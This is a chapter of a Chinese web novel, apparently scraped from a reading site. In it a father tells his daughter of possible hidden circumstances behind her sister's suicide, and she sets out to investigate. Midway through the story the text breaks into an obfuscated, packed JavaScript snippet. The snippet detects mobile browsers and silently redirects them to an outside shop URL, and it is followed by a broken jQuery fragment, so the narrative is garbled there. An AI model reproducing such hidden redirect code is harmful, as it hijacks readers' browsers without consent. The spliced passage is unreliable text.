默认冷灰
24号文字
方正启体

45.隐情

作者:瞞天星本书字数:K更新时间:
    紧闭的卧室门被从外面推开,羡由正在拼积木,鸡毛碎碎的声音让她抬起头,就看见从门缝里冒出脑袋的羡繁承,紧接着身体犹如滑溜的蛇蹭一下就滑进来了,托盘稳当当拿在手里。


    羡由:“……”


    她还不知道,这个人还有练杂技的本事。


    还不知道自己又被腹语到的羡繁承,一进来就感受到寒冷,抬头看向空调,果不其然16°,真是年轻人只要凉快,不要身体。


    下意识要进行说教,低下头就对上羡由“让我听见不好的,你就滚蛋”的凶恶目光,理智上线,话到嘴边的说教硬是咽回去,举了举手里的托盘,明晃晃的献殷勤。


    他走到桌边,一眼就看见了桌上已经建好的地基,把托盘放在旁边,又把地基拿走放在一边,确认没有损坏后,把托盘往闺女那里推推。


    羡由一扫托盘。


    是橘子果冻,还有水果茶。


    水果茶杯口还冒着热气,显然是刚做好就端上来了,而果冻一看就是外面做好的产物,据她所知羡繁承在甜品这方面没有丁点天赋。


    上次他尝试做什么甜品忘了,原本煮汤圆元宵的小锅英勇就义,底破了个大洞,厨房还黑了,给当初小小的羡由一个大震撼。


    现在想来还印象深刻的羡由看了下就收回目光,依然在跟手里的积木做斗争,平板还在放视频,这样做手工很快乐。


    “适当休息会,不然又腰疼。”闺女不开口,做父亲的选择先服软。


    “没空。”闺女并不领情。


    羡繁承也不客气:“你手里那块打从我进屋就没有变过,放在图纸上的目光也放空了,你的心早就乱了。”


    羡由还在负隅顽抗:“胡扯。”


    羡繁承指向平板:“你都没注意到平板黑屏了吗?”


    该死,真的没注意到。


    羡由把积木放回盒子里,又把说明书放进盒子里,连带着推向旁边,重新点开平板,继续播放下一集综艺,屁股也往里头挪挪,留出床边空地来。


    这时候不下台阶是傻子。羡繁承是聪明的一屁股坐在留出的位置上,把托盘推到羡由跟前:“还是那家店,茶是刚才做好的,橙子山楂还有冰糖,其中橙子很多。”


    确实杯子里的橙子果肉四散分离,橙黄橙黄的,一粒粒漂浮在表面,说是水果茶还不如说是粥,很有羡繁承的风格。


    羡由小口抿着。


    酸酸甜甜的,还未煮化的果肉在口腔里爆开,刺激到舌头有点烫,但不要紧能暖和了被空调吹寒的身体,挺舒服的。


    “对望全,你为什么那么说?”


    羡繁承并不想在这件事上做纠缠,事实上他也不确定:“为了扳倒程家我在股市上做了点手段,其中我发现了望温的名字。”


    程家现任掌家人好赌,尤其是在股票上,而股市是把双刃刀,玩得好坐拥天下,一招失足,过街老鼠都不为过。其他本就对程家看不顺眼的原本念着羡家也不敢作为,如今羡家走了,他们开始反扑是要连本带利让程家还回来。


    羡由知道,事实上羡繁承在家业上并没有瞒着她,只要她想,她就能学到用在身上。


    让羡繁承诧异的是这件事为什么会牵扯到望全的母亲,望温身上?


    “我知道你疑惑,准确来说股市上出现望温的名字并不稀奇,任何人都能买股。”羡繁承对她解释,“她是你同学的家长,我在调查时发现望温曾是念家曾经的前儿媳。”


    羡由没听说过,暂停综艺发问:“很厉害吗?”


    羡繁承打个响指:“凑合,计量单位是十个程家。”


    该说不说羡由有点同情沦落为计量单位的程家,但她对豪门世家没点兴趣,总不能前家为了规避风险让前儿媳给他们买股。


    为此羡由甚至把综艺重新点开,在背景音乐的簇拥下,愉悦的在脑海里翻涌。


    她一想乱七八糟的,脸上表情就让人堪忧。羡繁承选择来纠正闺女的想法,要知道在他们这种家族里能长出羡由这种性格,少到可怜,可不能找歪了,必须扶正:“跟豪门恩怨毫不相干,跟念家也没关系,念家是南海的,他们生活在明苏。我要跟你说的是羡年死后,望全休学了一段时间。”


    羡由不以为意,发生学生自杀事件,那所学校没关门都算好的,望全休学又算得了什么,当时他和羡年关系好,肯定会受影响,不然也不会现在来成京搜寻替身。


    “老爸你没别的要说就走吧,让我把综艺踏实看完,下午茶很好你可以退了。”她说,手指则在搜寻集絮。


    “可望温也疯了一段时间。”羡繁承淡淡地说:“据悉是受到望全的影响,那时候望全在家里不吃不喝,我托朋友查到羡年自杀当天曾和望全不欢而散,然后晚上羡年就自杀了。”


    综艺是彻底看不下去了,羡由直接将软件关掉,又把平板熄屏,黑屏里倒映出她凝着一张脸:“所以呢,你想说姐姐不是被程宇害死的,另有隐情?还是说望全也是一把刀。”


    “不知道,我也在查。”羡繁承也觉得事关重大,“要不是程家事我也不会查到他们母子俩,也不会发现当年事有隐情,或许是我们想多了都有可能,因为羡年确实是自杀这点不假。我会继续跟进,你不用担心……”


    “不。”这次是羡由拒绝了他,“姐姐,羡年自杀这件事交给我来查吧,你就专心对付程家,当心临死的狗还会反扑。”


    头顶上突然一重,又一次被大人摸了脑袋,羡由可一点都不觉得高兴,反而脑袋上的手成为了通道带来了沉重的痛感,痛得她要喘不上来气,喉咙里喘了好几下喘气,断断续续的无声的抽泣。


    羡繁承揉了两下,就放开了床上一轻。


    “想着吃,我去把壶拿过来□□这,想喝随时都是热的。”羡繁承离开了屋子,没有关门。


    从外头进来的热气与屋内的冷气融为一体,不凉不热,让人觉得烦躁。羡由觉得无名之火在心里翻涌,烧穿全身,又被劈头盖脸浇了一身冷水,火憋不出,又降不下来,整个人都处在尴尬的阶段。


    她拿起桌上的杯子一饮而尽,本应酸甜的水果茶也遭不住温度的变化,在舌头里翻滚只留下厚重的苦味。


    周六凌晨,羡由瞪着一双眼睛盯着黑漆漆的天花板,拿起手机一看时间,四点多去他妈的。羡由不是没有突然醒的时候,这一次症状尤为惨烈,头昏脑涨,嗓子发干,摸着黑打开台灯。


    这又眯眼眯半天才缓过来,拿起桌上的空调遥控器,标准的26°,临睡前好像还是16°,肯定是某人趁她睡着时悄摸改了,那怎么还不舒服。


    别是给我的晚饭投了延时毒药,真过分小气,哼!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050385|191320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    羡由很清楚不是,理智告诉她应该喝热水,随便吃点东西,然后去找药。但她很任性,凉水下肚,关上灯,翻身继续睡。


    一切交由天命。


    想要重新入睡显然很难,其他时候是做梦导致的突然醒,这次是心里有事,入睡就很晚,但眼皮沉重疲惫到不得不合上,越昏沉偏偏弦蹦得紧就像橡皮筋弹脑瓜子。


    在床上翻来覆去睡不着的女生迫不得已起床,干了两颗褪黑素,直挺挺倒向枕头里,全身上下只露出一颗脑袋被迫陷入罗圈的漩涡。


    在她逐渐陷入沉睡时,外头的灯亮了,踩着拖鞋细细碎碎的从他的房间赶到羡由的房间,推开门,静静看着一片漆黑,以及床上供出形状的被子,还有只露出一颗脑袋的主人。无言地关上门,把灯重新熄灭,回屋继续睡被打醒的觉。


    羡由有着年龄段该有的一系列问题,爱睡懒觉,喜欢熬夜玩手机,不喜欢学习也不喜欢考试,偏科……


    秉持坚决不改,爱咋咋地的原则。


    尤其是爱拖拉那几分钟时间,说半点到校永远卡点到,偶尔几次是家里睡不着,选择去投奔学校的桌椅呼呼大睡。虽然会腰酸手脚麻,但在睡觉方面愿意使用任何手段。


    这觉比在学校睡觉醒来还痛苦。


    羡由再度醒来天已经大亮,窗帘都挡不住泄露进来的光,屋内亮得狠根本不用开灯。她混沌的歪脑袋,精准无误锁定在靠近阳台的窗户被打开了一条缝,空调仍在发挥作用力。手机显示的时间是11:40,直接睡过半天。


    这在晚起里也显得尤为的晚,毕竟她之前只睡到十点多。


    外头静悄悄的,很安静。羡由早已习惯挣扎起身,拖着酸软疼痛的身体下地洗漱,推开门,走向客厅。


    客厅的桌子上摆放着饭碗,开始苏醒的大脑捕捉到敲打键盘的声音,偶尔还夹杂着说话的声音。


    嗓子不疼了,洗漱时吐了几口含有血丝的痰,眼睛仍旧疲惫,捏捏鼻梁坐在椅子上,翻出手机放在备好的支架上,还是昨晚没看完的综艺,慢吞吞吃起手里迟到的早中饭。


    书房的门没有推开,里头的羡繁承透过监控看到了在客厅吃饭的身影,又将视线投向电脑。


    客厅里看不见的监控在转动,羡由的思绪已经被综艺吸引,一口又一口嚼着嘴里的食物,在咽下,偶尔会喝水往下顺顺。


    这就是他们的平常人家平静安逸,吃完把碗筷放水槽里,回屋拼积木,再吃下午茶,晚上不想做就点外卖,临睡前玩会儿手机,渡过温馨顺遂的一天。


    没有意外的话本该是这样。


    书房的门被打开,羡繁承走了出来,把手里的药剂和盒子放在桌上说:“吃完饭待会想着把药吃了,出门涂这个你脸色太差了。”


    “我戴口罩。”羡由拿起盒子一看,唇妆界的大姐大,颜色都很好看,“好吧,也不是不能涂涂看。”


    “不对,你知道我跟谁出去吗?”她反应过来了。


    羡繁承皱眉,把手放闺女额头上:“没烧啊,不就跟望全去博物馆,怎么不能打扮了。”


    “你昨天还不是这种语气。”羡由翻白眼,学着羡繁承的语气重复了一遍话,“怎么搞善变。”


    “你说由你来做调查,做调查自然就要去做接触,我就不打扰你了,能不能查到就看你的本事了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)